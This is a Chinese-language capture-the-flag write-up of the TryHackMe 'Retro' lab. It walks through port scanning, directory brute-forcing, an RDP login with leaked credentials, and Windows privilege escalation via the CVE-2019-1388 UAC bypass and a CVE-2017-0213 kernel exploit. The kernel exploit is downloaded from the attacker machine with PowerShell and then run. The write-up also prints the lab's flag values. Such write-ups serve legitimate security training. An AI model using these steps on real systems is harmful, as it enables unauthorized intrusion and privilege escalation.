【THM】Retro-练习
本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/retro
本文介绍:针对实验靶机完成渗透操作,主要涉及敏感信息泄露、windows提权(本实验可用提权方式--UAC漏洞提权、内核漏洞提权、Juicy Potato-烂土豆提权......)。
UAC提权部分知识点参考链接1:http://blog.leanote.com/post/snowming/38069f423c76
UAC提权部分知识点参考链接2:https://blog.csdn.net/qq_44842234/article/details/125625817
使用多种方式完成提权的THM-Retro-WriteUp(外网博客链接):https://sparshjazz.medium.com/tryhackme-retro-866de1e4242a
简介
在相关Tryhackme实验房间界面部署虚拟靶机。
注意:目标机器不响应 ping (ICMP),可能需要几分钟才能成功启动。
IP Address:10.10.197.255
获得目标初始访问权限
端口扫描
使用nmap对实验靶机进行端口扫描:
nmap -sV -Pn -p- -T4 10.10.197.255
目标机器开启了80端口(web服务)和3389端口(RDP-远程登录服务)
访问目标站点的结果页面如下(目标机的web首页是IIS默认页面):
目录爆破
使用gobuster对目标站点进行目录爆破:
gobuster dir -u http://10.10.197.255/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
得到一个关键目录 /retro,此目录对应的url路径为:http://10.10.197.255/retro/
答题
查看敏感信息
访问上一小节由目录爆破得到的目录路径:http://10.10.197.255/retro/
探索上图所示的网页,尝试发现敏感信息:
疑似登录凭据
username:Wade
password: parzival
使用凭据通过RDP登录靶机
由端口扫描结果可知目标开启了3389端口(RDP-远程登录服务),所以我们在成功获取 疑似用户登录凭据 的敏感信息之后,可以使用xfreerdp 或者Remmina尝试远程登录目标机器,此处选择使用xfreerdp 。
xfreerdp /u:Wade /p:parzival /cert:ignore /v:10.10.197.255
#添加参数 /workarea 可使打开的远程窗口最大化
查看目标机用户Wade 桌面上的user.txt文件内容:
user.txt内容为:3b99fbdc6d430bfb51c72c651a261927
答题
提权
方法一:利用UAC漏洞提权
继续通过RDP访问并操纵目标机器,我们查看一下目标机中的浏览器历史记录--以获取一些关键信息。
tips:此处要及时阅读浏览器历史记录相关信息--因为在本实验环境下的浏览器历史记录 一旦打开之后就会很快自动开始清除。
我们发现目标机的浏览器中有CVE-2019-1388的历史访问记录--猜测用户可能是想针对CVE-2019-1388漏洞打补丁,也就是说目标机器可能存在CVE-2019-1388漏洞。
我们已经知道目标机器可能存在CVE-2019-1388漏洞,经过信息搜索可知CVE-2019-1388是一个UAC提权漏洞,该漏洞的基本信息如下:
UAC:用户帐户控制(User Account Control)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
CVE-2019-1388:该漏洞位于Windows的UAC(User Account Control,用户帐户控制)机制中。在默认情况下,Windows会在一个单独的桌面上显示所有的UAC提示 Secure Desktop;这些提示是由名为 consent.exe 的可执行文件产生的,该可执行文件以NT AUTHORITY\SYSTEM权限运行,完整性级别为System。
因为用户可以与该UI交互,因此对UI来说紧限制是必须的,否则,低权限的用户可能可以通过UI操作的循环路由以SYSTEM权限执行操作,即使隔离状态的看似无害的UI特征都可能会成为引发任意控制的动作链的第一步。
适用范围
SERVER
- Windows 2008r2 7601 link OPENED AS SYSTEM
- Windows 2012r2 9600 link OPENED AS SYSTEM
- Windows 2016 14393 link OPENED AS SYSTEM
- Windows 2019 17763 link NOT opened
WORKSTATION
- Windows 7 SP1 7601 link OPENED AS SYSTEM
- Windows 8 9200 link OPENED AS SYSTEM
- Windows 8.1 9600 link OPENED AS SYSTEM
- Windows 10 1511 10240 link OPENED AS SYSTEM
- Windows 10 1607 14393 link OPENED AS SYSTEM
- Windows 10 1703 15063 link NOT opened
- Windows 10 1709 16299 link NOT opened
针对目标机器利用CVE-2019-1388漏洞(UAC提权漏洞):
我们需要通过执行hhupd.exe文件来完成对CVE-2019-1388的利用,在目标机用户Wade 桌面上的回收站中我们可以找到hhupd.exe文件——我们手动恢复该文件即可:
CVE-2019-1388漏洞利用exp地址:https://github.com/jas502n/CVE-2019-1388
右键单击hhupd.exe文件并选择以管理员身份运行它,然后先点击“显示更多详细信息”,再继续点击“显示有关发布者证书的信息”:
继续以上步骤:接着单击 VeriSign Commercial Software Publishers CA 并选择使用Internet Explorer浏览器打开链接页面。
tips:如果在上图界面中无法手动选择使用浏览器以打开链接--则需要我们重新部署一个目标机器并在通过RDP运行目标机上的hhupd.exe文件之前 先打开一个IE浏览器实例。
因为目标机器没有连接到互联网,所以我们将在Internet Explorer浏览器中看到以下界面(这并不影响漏洞利用过程),此处其实是以系统级别的权限来打开浏览器,我们继续按“Alt”键弹出程序菜单栏,然后单击“另存为...”:
单击“另存为...”将显示一条错误消息--指出该位置不可用;这是预期的错误提示,我们可以点击“ok”忽略即可。
在以下对话框的File name一栏中输入C:\Windows\System32\*.*
以导航到\System32目录,接着在\System32目录下找到cmd.exe并右键单击打开——此时我们实际上是在以系统级别的权限执行cmd.exe程序:
使用Administrator权限级别的cmd 查看root.txt文件内容:
root.txt文件内容为:7958b569565d7bd88d10c6f22d1c4063
方法二:利用内核漏洞提权
针对本次实验中的目标机器也可以使用 CVE-2017-0213 进行提权(通过RDP进入目标机器并在 cmd 中运行 systeminfo 命令枚举系统信息--从而得知目标机器在CVE-2017-0213漏洞的影响范围之内):
https://github.com/SecWiki/windows-kernel-exploits/blob/master/CVE-2017-0213/CVE-2017-0213_x64.zip
在kali机中下载以上 zip文件并通过unzip命令解压得到exe,然后传输该exe文件到靶机中,最后通过远程桌面直接执行该exe文件即可成功提权。
在kali机上操作:
unzip CVE-2017-0213_x64.zip
python -m http.server 80
通过RDP在目标机上操作:
#在cmd中使用Powershell的Invoke-WebRequest模块
Powershell Invoke-WebRequest -Uri http://10.13.16.58/CVE-2017-0213_x64.exe -OutFile exploit.exe
.\exploit.exe
#执行漏洞利用exe之后,我们能看到该漏洞利用程序生成了一个新的CMD shell且权限为Administrator——提权成功。
whoami
cd C:\Users\Administrator\Desktop
dir
type root.txt.txt
root.txt文件内容为:7958b569565d7bd88d10c6f22d1c4063